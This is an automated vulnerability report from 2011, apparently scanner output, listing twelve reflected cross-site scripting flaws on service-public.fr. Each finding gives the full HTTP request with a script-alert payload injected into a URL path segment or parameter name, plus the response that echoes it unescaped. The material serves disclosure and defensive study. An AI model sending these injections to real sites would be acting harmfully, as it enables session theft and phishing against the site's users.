XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, secure-public.fr

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Sat Apr 30 18:07:59 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. http://www.service-public.fr/langue/english/ [REST URL parameter 1]

1.2. http://www.service-public.fr/langue/english/ [REST URL parameter 2]

1.3. http://www.service-public.fr/langue/english/ [name of an arbitrarily supplied request parameter]

1.4. http://www.service-public.fr/langue/english/ [name of an arbitrarily supplied request parameter]

1.5. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 1]

1.6. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 1]

1.7. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 2]

1.8. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 2]

1.9. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 3]

1.10. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 3]

1.11. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 4]

1.12. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 4]



1. Cross-site scripting (reflected)
There are 12 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.service-public.fr/langue/english/ [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /langue/english/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7f09c<script>alert(1)</script>194516af4c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /langue7f09c<script>alert(1)</script>194516af4c/english/ HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 22:58:40 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 22:58:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 17915

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<p>http://www.service-public.fr/langue7f09c<script>alert(1)</script>194516af4c/english/ </p>
...[SNIP]...

1.2. http://www.service-public.fr/langue/english/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /langue/english/

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c7488<script>alert(1)</script>e2959741942 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /langue/englishc7488<script>alert(1)</script>e2959741942/ HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 22:58:55 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 22:58:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 17916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<p>http://www.service-public.fr/langue/englishc7488<script>alert(1)</script>e2959741942/ </p>
...[SNIP]...

1.3. http://www.service-public.fr/langue/english/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /langue/english/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 9b789<script>alert(1)</script>bd8b1173060 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /langue/english/?9b789<script>alert(1)</script>bd8b1173060=1 HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 30 Apr 2011 22:58:07 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 22:58:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25636

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- fin doctype -->    

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs
...[SNIP]...
<textarea cols="" rows="" id="urlFaireUnLien" name="urlFaireUnLien" readonly="readonly">http://www.service-public.fr/langue/english/?9b789<script>alert(1)</script>bd8b1173060=1</textarea>
...[SNIP]...

1.4. http://www.service-public.fr/langue/english/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /langue/english/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9362b"><script>alert(1)</script>2a2c8c0d59b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /langue/english/?9362b"><script>alert(1)</script>2a2c8c0d59b=1 HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 30 Apr 2011 22:58:06 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 22:58:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25664

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- fin doctype -->    

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs
...[SNIP]...
<a accesskey="L" href="http://app.readspeaker.com/cgi-bin/rsent?customerid=4711&amp;lang=en_uk&amp;url=http://www.service-public.fr/langue/english/?9362b"><script>alert(1)</script>2a2c8c0d59b=1&amp;audiofilename=rubrique99&amp;readid=colonne2" onclick="readspeaker(this.href+'&amp;selectedhtml='+escape(selectedString)); return false;">
...[SNIP]...

1.5. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc59e"><script>alert(1)</script>12b00fc4a75 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherchecc59e"><script>alert(1)</script>12b00fc4a75/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:02 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<a accesskey="L" href="http://app.readspeaker.com/cgi-bin/rsent?customerid=4711&amp;lang=fr_fr&amp;url=http://www.service-public.fr/recherchecc59e"><script>alert(1)</script>12b00fc4a75/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html&amp;audiofilename=erreur&amp;readid=colonne2" onclick="readspeaker(this.href+'&amp;selectedhtml='+escape(selectedString)); return false
...[SNIP]...

1.6. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a6e58<script>alert(1)</script>2fe8bc458bb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherchea6e58<script>alert(1)</script>2fe8bc458bb/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:03 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19123

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<textarea cols="" rows="" id="urlFaireUnLien" name="urlFaireUnLien" readonly="readonly">http://www.service-public.fr/recherchea6e58<script>alert(1)</script>2fe8bc458bb/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html</textarea>
...[SNIP]...

1.7. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d4aeb<script>alert(1)</script>30805218abf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherche/afsd4aeb<script>alert(1)</script>30805218abf/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:08 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19123

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<textarea cols="" rows="" id="urlFaireUnLien" name="urlFaireUnLien" readonly="readonly">http://www.service-public.fr/recherche/afsd4aeb<script>alert(1)</script>30805218abf/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html</textarea>
...[SNIP]...

1.8. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c8d3"><script>alert(1)</script>bc7a59877e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherche/afs9c8d3"><script>alert(1)</script>bc7a59877e4/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:06 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<a accesskey="L" href="http://app.readspeaker.com/cgi-bin/rsent?customerid=4711&amp;lang=fr_fr&amp;url=http://www.service-public.fr/recherche/afs9c8d3"><script>alert(1)</script>bc7a59877e4/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html&amp;audiofilename=erreur&amp;readid=colonne2" onclick="readspeaker(this.href+'&amp;selectedhtml='+escape(selectedString)); return false;">
...[SNIP]...

1.9. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 4b1fd<script>alert(1)</script>60ed3a067e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherche/afs/AFSCustomSuggest4b1fd<script>alert(1)</script>60ed3a067e/4E34B1DB586B8D0736080DF828C2CE56.cache.html HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:12 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19108

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<textarea cols="" rows="" id="urlFaireUnLien" name="urlFaireUnLien" readonly="readonly">http://www.service-public.fr/recherche/afs/AFSCustomSuggest4b1fd<script>alert(1)</script>60ed3a067e/4E34B1DB586B8D0736080DF828C2CE56.cache.html</textarea>
...[SNIP]...

1.10. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 154ce"><script>alert(1)</script>4681711ebdd was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherche/afs/AFSCustomSuggest154ce"><script>alert(1)</script>4681711ebdd/4E34B1DB586B8D0736080DF828C2CE56.cache.html HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:11 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<a accesskey="L" href="http://app.readspeaker.com/cgi-bin/rsent?customerid=4711&amp;lang=fr_fr&amp;url=http://www.service-public.fr/recherche/afs/AFSCustomSuggest154ce"><script>alert(1)</script>4681711ebdd/4E34B1DB586B8D0736080DF828C2CE56.cache.html&amp;audiofilename=erreur&amp;readid=colonne2" onclick="readspeaker(this.href+'&amp;selectedhtml='+escape(selectedString)); return false;">
...[SNIP]...

1.11. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 9031f<script>alert(1)</script>75e09167f4d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html9031f<script>alert(1)</script>75e09167f4d HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:16 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19123

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
<textarea cols="" rows="" id="urlFaireUnLien" name="urlFaireUnLien" readonly="readonly">http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html9031f<script>alert(1)</script>75e09167f4d</textarea>
...[SNIP]...

1.12. http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.service-public.fr
Path:   /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8b36"><script>alert(1)</script>168d51a6347 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.htmle8b36"><script>alert(1)</script>168d51a6347 HTTP/1.1
Host: www.service-public.fr
Proxy-Connection: keep-alive
Referer: http://www.service-public.fr/langue/english/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xtvrn=$17709$

Response

HTTP/1.1 404 Not Found
Date: Sat, 30 Apr 2011 23:01:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Vary: Cookie,Accept-Encoding
Composed-By: SPIP 1.9.2c @ www.spip.net
X-Spip-Cache: 3600
Last-Modified: Sat, 30 Apr 2011 23:01:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:afs="http://www.antidot.net/
...[SNIP]...
cesskey="L" href="http://app.readspeaker.com/cgi-bin/rsent?customerid=4711&amp;lang=fr_fr&amp;url=http://www.service-public.fr/recherche/afs/AFSCustomSuggest/4E34B1DB586B8D0736080DF828C2CE56.cache.htmle8b36"><script>alert(1)</script>168d51a6347&amp;audiofilename=erreur&amp;readid=colonne2" onclick="readspeaker(this.href+'&amp;selectedhtml='+escape(selectedString)); return false;">
...[SNIP]...

Report generated by XSS.CX at Sat Apr 30 18:07:59 CDT 2011.